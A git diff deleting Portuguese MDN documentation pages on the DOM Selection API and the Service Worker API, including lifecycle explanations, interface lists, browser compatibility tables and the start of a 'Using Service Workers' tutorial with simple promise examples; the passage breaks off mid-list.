- <dt><a href="/en/DOM/Selection/focusOffset" title="en/DOM/Selection/focusOffset">focusOffset</a></dt>
- <dd>Retorna o número de caracteres que o foco da seleção é compensado dentro do focusNode.</dd>
- <dt><a href="/en/DOM/Selection/isCollapsed" title="en/DOM/Selection/isCollapsed">isCollapsed</a></dt>
- <dd>Retorna um booleano indicando se os pontos de início e fim da seleção estão na mesma posição.</dd>
- <dt><a href="/en/DOM/Selection/rangeCount" title="en/DOM/Selection/rangeCount">rangeCount</a></dt>
- <dd>Retorna o número de faixas na seleção.</dd>
-</dl>
-
-<h3 id="Methods" name="Methods">Métodos</h3>
-
-<dl>
- <dt><a href="/en/DOM/Selection/addRange" title="en/DOM/Selection/addRange">addRange</a></dt>
- <dd>Um objeto de intervalo (Range) que será adicionado à seleção.</dd>
- <dt><a href="/en/DOM/Selection/collapse" title="en/DOM/Selection/collapse">collapse</a></dt>
- <dd>Recolhe a seleção atual para um único ponto.</dd>
- <dt><a href="/en/DOM/Selection/collapseToStart" title="en/DOM/Selection/collapseToStart">collapseToStart</a></dt>
- <dd>Move o foco da seleção para o mesmo ponto da âncora.</dd>
- <dt><a href="/en/DOM/Selection/collapseToEnd" title="en/DOM/Selection/collapseToEnd">collapseToEnd</a></dt>
- <dd>Move a âncora da seleção para o mesmo ponto que o foco. O foco não se move.</dd>
- <dt><a href="/en/DOM/Selection/containsNode" title="en/DOM/Selection/containsNode">containsNode</a></dt>
- <dd>Indica se um determinado nó é parte da seleção.</dd>
- <dt><a href="/en/DOM/Selection/deleteFromDocument" title="en/DOM/Selection/deleteFromDocument">deleteFromDocument</a></dt>
- <dd>Apaga o conteúdo da seleção do documento.</dd>
- <dt><a href="/en/DOM/Selection/extend" title="en/DOM/Selection/extend">extend</a></dt>
- <dd>Move o foco da seleção para um ponto especificado.</dd>
- <dt><a href="/en/DOM/Selection/getRangeAt" title="en/DOM/Selection/getRangeAt">getRangeAt</a></dt>
- <dd>Retorna um objeto de intervalo (Range) representando um dos intervalos atualmente selecionados.</dd>
- <dt><a href="/en/DOM/Selection/removeAllRanges" title="en/DOM/Selection/removeAllRanges">removeAllRanges</a></dt>
- <dd>Remove todos os intervalos da seleção.</dd>
- <dt><a href="/en/DOM/Selection/removeRange" title="en/DOM/Selection/removeRange">removeRange</a></dt>
- <dd>Remove uma faixa (range) da seleção.</dd>
- <dt><a href="/en/DOM/Selection/selectAllChildren" title="en/DOM/Selection/selectAllChildren">selectAllChildren</a></dt>
- <dd>Adiciona todos os filhos do nó especificado para a seleção.</dd>
- <dt><a href="/en/DOM/Selection/toString" title="en/DOM/Selection/toString">toString</a></dt>
- <dd>Retorna uma string a ser representada pelo objeto de seleção, ou seja, o texto atualmente selecionado.</dd>
-</dl>
diff --git a/files/pt-pt/web/api/service_worker_api/index.html b/files/pt-pt/web/api/service_worker_api/index.html
deleted file mode 100644
index 343635d6c2..0000000000
--- a/files/pt-pt/web/api/service_worker_api/index.html
+++ /dev/null
@@ -1,335 +0,0 @@
----
-title: API de Service Worker
-slug: Web/API/Service_Worker_API
-tags:
- - API
- - Landing
- - Off-line
- - Referencia
- - Resumo
- - Service Workers
- - Sinopse
- - Workers
-translation_of: Web/API/Service_Worker_API
----
-<div>
-<p>{{ServiceWorkerSidebar}}</p>
-
-<p class="summary">Os <strong><em>service workers</em></strong> atuam essencialmente como servidores de <em>proxy </em>que ficam entre as aplicações da Web, e o navegador e a rede (quando disponível). Eles são destinados para (entre outras coisas) ativar a criação de experiências efetivas, intercetar pedidos de rede e tomando medidas adequadas com base na disponibilidade da rede e na atualização dos ativos no servidor. Eles também irão permitir o acesso para solicitar notificações e sincronizar as APIs em segundo plano.</p>
-</div>
-
-<h2 id="Conceitos_e_utilização_do_service_worker">Conceitos e utilização do <em>service worker</em></h2>
-
-<p>A service worker is an event-driven <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a> registered against an origin and a path. It takes the form of a JavaScript file that can control the web page/site it is associated with, intercepting and modifying navigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most obvious one being when the network is not available.)</p>
-
-<p>A service worker is run in a worker context: it therefore has no DOM access, and runs on a different thread to the main JavaScript that powers your app, so it is not blocking. It is designed to be fully async; as a consequence, APIs such as synchronous <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> can't be used inside a service worker.</p>
-
-<p>Service workers only run over HTTPS, for security reasons. Having modified network requests wide open to man in the middle attacks would be really bad. In Firefox, Service Worker APIs are also hidden and cannot be used when the user is in <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">private browsing mode</a>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Service Workers win over previous attempts in this area such as <a href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache</a> because they don't make assumptions about what you are trying to do and then break when those assumptions are not exactly right; you have granular control over everything.</p>
-</div>
-
-<div class="note">
-<p><strong>Nota</strong>: Service workers make heavy use of <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promises</a>, as generally they will wait for responses to come through, after which they will respond with a success or failure action. The promises architecture is ideal for this.</p>
-</div>
-
-<h3 id="Registo">Registo</h3>
-
-<p>A service worker is first registered using the {{domxref("ServiceWorkerContainer.register()")}} method. If successful, your service worker will be downloaded to the client and attempt installation/activation (see below) for URLs accessed by the user inside the whole origin, or inside a subset specified by you.</p>
-
-<h3 id="Transferir_instalar_e_ativar">Transferir, instalar e ativar</h3>
-
-<p>Neste ponto, o seu <em>service worker </em>observará o seguinte ciclo vital:</p>
-
-<ol>
- <li>Transferir</li>
- <li>Instalar</li>
- <li>Ativar</li>
-</ol>
-
-<p>The service worker is immediately downloaded when a user first accesses a service worker–controlled site/page.</p>
-
-<p>After that it is downloaded every 24 hours or so. It <em>may</em> be downloaded more frequently, but it <strong>must</strong> be downloaded every 24h to prevent bad scripts from being annoying for too long.</p>
-
-<p>Installation is attempted when the downloaded file is found to be new — either different to an existing service worker (byte-wise compared), or the first service worker encountered for this page/site.</p>
-
-<p>If this is the first time a service worker has been made available, installation is attempted, then after a successful installation it is activated.</p>
-
-<p>If there is an existing service worker available, the new version is installed in the background, but not yet activated — at this point it is called the <em>worker in waiting</em>. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates (becoming the <em>active worker</em>).  Activation can happen sooner using {{domxref("ServiceWorkerGlobalScope.skipWaiting()")}} and existing pages can be claimed by the active worker using {{domxref("Clients.claim()")}}.</p>
-
-<p>You can listen out for the {{domxref("InstallEvent")}}; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage API, and placing assets inside it that you'll want for running your app offline.</p>
-
-<p>There is also an <code>activate</code> event. The point where this event fires is generally a good time to clean up old caches and other things associated with the previous version of your service worker.</p>
-
-<p>Your service worker can respond to requests using the {{domxref("FetchEvent")}} event. You can modify the response to these requests in any way you want, using the {{domxref("FetchEvent.respondWith")}} method.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Because <code>oninstall</code>/<code>onactivate</code> could take a while to complete, the service worker spec provides a <code>waitUntil</code> method that, when called <code>oninstall</code> or <code>onactivate</code>, passes a promise. Functional events are not dispatched to the service worker until the promise successfully resolves.</p>
-</div>
-
-<p>Para um tutorial completo para mostrars como crair o seu primeiro exemplo básico, leia <a href="/pt-PT/docs/Web/API/Service_Worker_API/Using_Service_Workers">Utilização de <em>Service Workers</em></a>.</p>
-
-<h2 id="Outras_ideas_de_casos_de_utilização">Outras ideas de casos de utilização</h2>
-
-<p>Service workers are also intended to be used for such things as:</p>
-
-<ul>
- <li>Background data synchronization</li>
- <li>Responding to resource requests from other origins</li>
- <li>Receiving centralized updates to expensive-to-calculate data such as geolocation or gyroscope, so multiple pages can make use of one set of data</li>
- <li>Client-side compiling and dependency management of CoffeeScript, less, CJS/AMD modules, etc. for dev purposes</li>
- <li>Hooks for background services</li>
- <li>Custom templating based on certain URL patterns</li>
- <li>Performance enhancements, for example pre-fetching resources that the user is likely to need in the near future, such as the next few pictures in a photo album.</li>
-</ul>
-
-<p>In the future, service workers will be able to do a number of other useful things for the web platform that will bring it closer towards native app viability. Interestingly, other specifications can and will start to make use of the service worker context, for example:</p>
-
-<ul>
- <li><a href="https://github.com/slightlyoff/BackgroundSync">Background synchronization</a>: Start up a service worker even when no users are at the site, so caches can be updated, etc.</li>
- <li><a href="/en-US/docs/Web/API/Push_API">Reacting to push messages</a>: Start up a service worker to send users a message to tell them new content is available.</li>
- <li>Reacting to a particular time &amp; date</li>
- <li>Entering a geo-fence</li>
-</ul>
-
-<h2 id="Interfaces">Interfaces</h2>
-
-<dl>
- <dt>{{domxref("Cache")}}</dt>
- <dd>Represents the storage for {{domxref("Request")}} / {{domxref("Response")}} object pairs that are cached as part of the {{domxref("ServiceWorker")}} life cycle.</dd>
- <dt>{{domxref("CacheStorage")}}</dt>
- <dd>Represents the storage for {{domxref("Cache")}} objects. It provides a master directory of all the named caches that a {{domxref("ServiceWorker")}} can access and maintains a mapping of string names to corresponding {{domxref("Cache")}} objects.</dd>
- <dt>{{domxref("Client")}}</dt>
- <dd>Represents the scope of a service worker client. A service worker client is either a document in a browser context or a {{domxref("SharedWorker")}}, which is controlled by an active worker.</dd>
- <dt>{{domxref("Clients")}}</dt>
- <dd>Represents a container for a list of {{domxref("Client")}} objects; the main way to access the active service worker clients at the current origin.</dd>
- <dt>{{domxref("ExtendableEvent")}}</dt>
- <dd>Extends the lifetime of the <code>install</code> and <code>activate</code> events dispatched on the {{domxref("ServiceWorkerGlobalScope")}} as part of the service worker lifecycle. This ensures that any functional events (like {{domxref("FetchEvent")}} ) are not dispatched to the {{domxref("ServiceWorker")}} until it upgrades database schemas, deletes outdated cache entries, etc.</dd>
- <dt>{{domxref("ExtendableMessageEvent")}}</dt>
- <dd>The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{domxref("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.</dd>
- <dt>{{domxref("FetchEvent")}}</dt>
- <dd>The parameter passed into the {{domxref("ServiceWorkerGlobalScope.onfetch")}} handler, <code>FetchEvent</code> represents a fetch action that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a {{domxref("ServiceWorker")}}. It contains information about the request and resulting response, and provides the {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} method, which allows us to provide an arbitrary response back to the controlled page.</dd>
- <dt>{{domxref("InstallEvent")}}</dt>
- <dd>The parameter passed into the {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}} handler, the <code>InstallEvent</code> interface represents an install action that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a {{domxref("ServiceWorker")}}. As a child of {{domxref("ExtendableEvent")}}, it ensures that functional events such as {{domxref("FetchEvent")}} are not dispatched during installation. </dd>
- <dt>{{domxref("NavigationPreloadManager")}}</dt>
- <dd>Provides methods for managing the preloading of resources with a service worker. </dd>
- <dt>{{domxref("Navigator.serviceWorker")}}</dt>
- <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
- <dt>{{domxref("NotificationEvent")}}</dt>
- <dd>The parameter passed into the {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} handler, the <code>NotificationEvent</code> interface represents a notification click event that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a {{domxref("ServiceWorker")}}.</dd>
- <dt>{{domxref("ServiceWorker")}}</dt>
- <dd>Represents a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same <code>ServiceWorker</code> object.</dd>
- <dt>{{domxref("ServiceWorkerContainer")}}</dt>
- <dd>Provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister and update service workers, and access the state of service workers and their registrations.</dd>
- <dt>{{domxref("ServiceWorkerGlobalScope")}}</dt>
- <dd>Represents the global execution context of a service worker.</dd>
- <dt>{{domxref("ServiceWorkerMessageEvent")}} {{deprecated_inline}}</dt>
- <dd>Represents a message sent to a {{domxref("ServiceWorkerGlobalScope")}}. <strong>Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{domxref("MessageEvent")}} interface, for consistency with other web messaging features.</strong></dd>
- <dt>{{domxref("ServiceWorkerRegistration")}}</dt>
- <dd>Represents a service worker registration.</dd>
- <dt>{{domxref("ServiceWorkerState")}} {{experimental_inline}}</dt>
- <dd>Associated with its <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker" title="The ServiceWorker interface of the ServiceWorker API provides a reference to a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same service worker, each through a unique ServiceWorker object."><code>ServiceWorker</code></a>'s state.</dd>
- <dt>{{domxref("SyncEvent")}} {{non-standard_inline}}</dt>
- <dd>
- <p>The SyncEvent interface represents a sync action that is dispatched on the {{domxref("ServiceWorkerGlobalScope")}} of a ServiceWorker. </p>
- </dd>
- <dt>{{domxref("SyncManager")}} {{non-standard_inline}}</dt>
- <dd>Provides an interface for registering and listing sync registrations.</dd>
- <dt>{{domxref("WindowClient")}}</dt>
- <dd>Represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. This is a special type of {{domxref("Client")}} object, with some additional methods and properties available.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Service Workers')}}</td>
- <td>{{Spec2('Service Workers')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<div>{{ CompatibilityTable() }}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(40)}}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
- <td>{{ CompatNo() }}</td>
- <td>24</td>
- <td>{{ CompatNo() }}<sup>[3]</sup></td>
- </tr>
- <tr>
- <td>install/activate events</td>
- <td>{{ CompatChrome(40) }}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatVersionUnknown() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td>fetch event/request/<br>
- <code>respondWith()</code></td>
- <td>{{CompatChrome(40)}}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoDesktop("44.0") }}<sup>[2]</sup></td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td>caches/cache</td>
- <td>
- <p class="p1">{{CompatChrome(42)}}</p>
- </td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoDesktop("39.0") }}<sup>[2]</sup></td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td>{{domxref("ServiceWorkerMessageEvent")}} deprecated in favour of {{domxref("MessageEvent")}}</td>
- <td>
- <p class="p1">{{CompatChrome(57)}}</p>
- </td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatGeckoDesktop("55.0") }}<sup>[2]</sup></td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td><code>NavigationPreloadManager</code></td>
- <td>{{CompatChrome(59)}}</td>
- <td>{{ CompatNo() }}</td>
- <td></td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatOpera(46)}}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android Webview</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(40)}}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoMobile("44.0") }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatVersionUnknown() }}</td>
- <td>{{ CompatNo() }}<sup>[3]</sup></td>
- </tr>
- <tr>
- <td> install/activate events</td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(40)}}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoMobile("44.0") }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatVersionUnknown() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td>fetch event/request/<br>
- <code>respondWith()</code></td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(40)}}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoMobile("44.0") }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td>caches/cache</td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(40)}}</td>
- <td>{{CompatNo}}<sup>[1]</sup></td>
- <td>{{ CompatGeckoMobile("39.0") }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td>{{domxref("ServiceWorkerMessageEvent")}} deprecated in favour of {{domxref("MessageEvent")}}</td>
- <td>{{ CompatNo() }}</td>
- <td>
- <p class="p1">{{CompatChrome(57)}}</p>
- </td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatGeckoMobile("55.0") }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- <tr>
- <td><code>NavigationPreloadManager</code></td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatChrome(59)}}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{ CompatNo() }}</td>
- <td>{{CompatOperaMobile(46)}}</td>
- <td>{{ CompatNo() }}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p>[1] This feature is not supported yet, though it's <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/status/serviceworker/">already in development</a>.</p>
-
-<p>[2] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 &amp; 52 Extended Support Releases</a> (ESR.)</p>
-
-<p>[3] This feature is not supported yet, though it's <a href="https://bugs.webkit.org/show_bug.cgi?id=174541">currently</a> <a href="https://webkit.org/status/#specification-service-workers">in development</a>.</p>
-
-<h2 id="Consulte_também">Consulte também:</h2>
-
-<ul>
- <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
- <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
- <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
- <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
- <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
- <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for using the VARY header</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/service_worker_api/using_service_workers/index.html b/files/pt-pt/web/api/service_worker_api/using_service_workers/index.html
deleted file mode 100644
index bce8c7d4f1..0000000000
--- a/files/pt-pt/web/api/service_worker_api/using_service_workers/index.html
+++ /dev/null
@@ -1,459 +0,0 @@
----
-title: Utilização de "Service Workers"
-slug: Web/API/Service_Worker_API/Using_Service_Workers
-tags:
- - Guía
- - ServiceWorker
- - Serviço
- - Workers
- - básicos
-translation_of: Web/API/Service_Worker_API/Using_Service_Workers
----
-<p>{{ServiceWorkerSidebar}}</p>
-
-<div class="summary">
-<p>This article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality. </p>
-</div>
-
-<h2 id="The_premise_of_service_workers">The premise of service workers</h2>
-
-<p>One overriding problem that web users have suffered with for years is loss of connectivity. The best web app in the world will provide a terrible user experience if you can’t download it. There have been various attempts to create technologies to solve this problem, as our <a href="/en-US/Apps/Build/Offline">Offline</a> page shows, and some of the issues have been solved. But the overriding problem is that there still isn’t a good overall control mechanism for asset caching and custom network requests.<br>
- <br>
- The previous attempt — <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> — seemed to be a good idea because it allowed you to specify assets to cache really easily. However, it made many assumptions about what you were trying to do and then broke horribly when your app didn’t follow those assumptions exactly. Read Jake Archibald's (unfortunately-titled but well-written) <a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a> for more details.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: As of Firefox 44, when <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a> is used to provide offline support for a page a warning message is now displayed in the console advising developers to use <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> instead ({{bug("1204581")}}.)</p>
-</div>
-
-<p>Service workers should finally fix these issues. Service worker syntax is more complex than that of AppCache, but the trade off is that you can use JavaScript to control your AppCache-implied behaviors with a fine degree of granularity, allowing you to handle this problem and many more. Using a Service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as <a href="http://offlinefirst.org/">Offline First</a>). This is already available with native apps, which is one of the main reasons native apps are often chosen over web apps.</p>
-
-<h2 id="Setting_up_to_play_with_service_workers">Setting up to play with service workers</h2>
-
-<p>Many service workers features are now enabled by default in newer versions of supporting browsers. If however you find that demo code is not working in your installed versions, you might need to enable a pref:</p>
-
-<ul>
- <li><strong>Firefox Nightly</strong>: Go to <code>about:config</code> and set <code>dom.serviceWorkers.enabled</code> to true; restart browser.</li>
- <li><strong>Chrome Canary</strong>: Go to <code>chrome://flags</code> and turn on <code>experimental-web-platform-features</code>; restart browser (note that some features are now enabled by default in Chrome.)</li>
- <li><strong>Opera</strong>: Go to <code>opera://flags</code> and enable <code>Support for ServiceWorker</code>; restart browser.</li>
- <li><strong>Microsoft Edge</strong>: Go to <code>about:flags</code> and tick <code>Enable service workers</code>; restart browser.</li>
-</ul>
-
-<p>You’ll also need to serve your code via HTTPS — Service workers are restricted to running across HTTPS for security reasons. GitHub is therefore a good place to host experiments, as it supports HTTPS. In order to facilitate local development, <code>localhost</code> is considered a secure origin by browsers as well.</p>
-
-<h2 id="Basic_architecture">Basic architecture</h2>
-
-<p>With service workers, the following steps are generally observed for basic set up:</p>
-
-<ol>
- <li>The service worker URL is fetched and registered via {{domxref("serviceWorkerContainer.register()")}}.</li>
- <li>If successful, the service worker is executed in a {{domxref("ServiceWorkerGlobalScope") }}; this is basically a special kind of worker context, running off the main script execution thread, with no DOM access.</li>
- <li>The service worker is now ready to process events.</li>
- <li>Installation of the worker is attempted when service worker-controlled pages are accessed subsequently. An Install event is always the first one sent to a service worker (this can be used to start the process of populating an IndexedDB, and caching site assets). This is really the same kind of procedure as installing a native or Firefox OS app — making everything available for use offline.</li>
- <li>When the <code>oninstall</code> handler completes, the service worker is considered installed.</li>
- <li>Next is activation. When the service worker is installed, it then receives an activate event. The primary use of <code>onactivate</code> is for cleanup of resources used in previous versions of a Service worker script.</li>
- <li>The Service worker will now control pages, but only those opened after the <code>register()</code> is successful. i.e. a document starts life with or without a Service worker and maintains that for its lifetime. So documents will have to be reloaded to actually be controlled.</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12636/sw-lifecycle.png" style="display: block; height: 867px; margin: 0px auto; width: 579px;"></p>
-
-<p>The below graphic shows a summary of the available service worker events:</p>
-
-<p><img alt="install, activate, message, fetch, sync, push" src="https://mdn.mozillademos.org/files/12632/sw-events.png" style="display: block; margin: 0px auto;"></p>
-
-<h3 id="Promises">Promises</h3>
-
-<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> are a great mechanism for running async operations, with success dependant on one another. This is central to the way service workers work.<br>
- <br>
- Promises can do a variety of things, but all you need to know for now is that if something returns a promise, you can attach <code>.then()</code> to the end and include callbacks inside it for success cases, or you can insert <code>.catch()</code> on the end if you want to include a failure callback.</p>
-
-<p>Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.</p>
-
-<h4 id="sync">sync</h4>
-
-<pre class="brush: js">try {
- const value = myFunction();
- console.log(value);
-} catch(err) {
- console.log(err);
-}</pre>
-
-<h4 id="async">async</h4>
-
-<pre class="brush: js">myFunction().then((value) =&gt; {
- console.log(value);
-}).catch((err) =&gt; {
- console.log(err);
-});</pre>
-
-<p>In the first example, we have to wait for <code>myFunction()</code> to run and return <code>value</code> before any more of the code can execute. In the second example, <code>myFunction()</code> returns a promise for <code>value</code>, then the rest of the code can carry on running. When the promise resolves, the code inside <code>then</code> will be run, asynchronously.<br>
- <br>
- Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use <code>.onload</code> to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using <code>.complete</code>, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.<br>
- <br>
- Instead, we could build our own promise to handle this kind of case. (See our <a href="https://github.com/mdn/js-examples/tree/master/promises-test">Promises test</a> example for the source code, or <a href="https://mdn.github.io/js-examples/promises-test/">look at it running live</a>.)</p>
-
-<p>{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}</p>
-
-<pre class="brush: js">const imgLoad = (url) =&gt; {
- return new Promise((resolve, reject) =&gt; {
- var request = new XMLHttpRequest();
- request.open('GET', url);
- request.responseType = 'blob';
-
- request.onload = () =&gt; {
- if (request.status == 200) {
- resolve(request.response);
- } else {
- reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
- }
- };
-
- request.onerror = () =&gt; {
- reject(Error('There was a network error.'));
- };
-
- request.send();
- });
-}</pre>
-
-<p>We return a new promise using the <code>Promise()</code> constructor, which takes as an argument a callback function with <code>resolve</code> and <code>reject</code> parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call <code>resolve</code> on success, or <code>reject</code> on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.</p>
-
-<p>When we come to call the <code>imgLoad()</code> function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:</p>
-
-<pre class="brush: js">let body = document.querySelector('body');
-let myImage = new Image();
-
-imgLoad('myLittleVader.jpg').then((response) =&gt; {
- var imageURL = window.URL.createObjectURL(response);
- myImage.src = imageURL;
- body.appendChild(myImage);
-}, (Error) =&gt; {
- console.log(Error);
-});</pre>
-
-<p>On to the end of the function call, we chain the promise <code>then()</code> method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside <code>myImage</code> and append it to the body (it’s argument is the <code>request.response</code> contained inside the promise’s <code>resolve</code> method); in the rejected case we return an error to the console.</p>
-
-<p>This all happens asynchronously.</p>
-
-<div class="note">
-<p><strong>Note</strong>: You can also chain promise calls together, for example:<br>
- <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: You can find a lot more out about promises by reading Jake Archibald’s excellent <a href="http://www.html5rocks.com/en/tutorials/es6/promises/">JavaScript Promises: there and back again</a>.</p>
-</div>
-
-<h2 id="Service_workers_demo">Service workers demo</h2>
-
-<p>To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called <a href="https://github.com/mdn/sw-test">sw-test</a>, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/8243/demo-screenshot.png" style="display: block; height: 410px; margin: 0px auto; width: 480px;"><br>
- <br>
- <br>
- You can see the <a href="https://github.com/mdn/sw-test/">source code on GitHub</a>, and <a href="https://mdn.github.io/sw-test/">view the example live</a>. The one bit we’ll call out here is the promise (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L22-L47">app.js lines 22-47</a>), which is a modified version of what you read about above, in the <a href="https://mdn.github.io/js-examples/promises-test/">Promises test demo</a>. It is different in the following ways:</p>
-
-<ol>
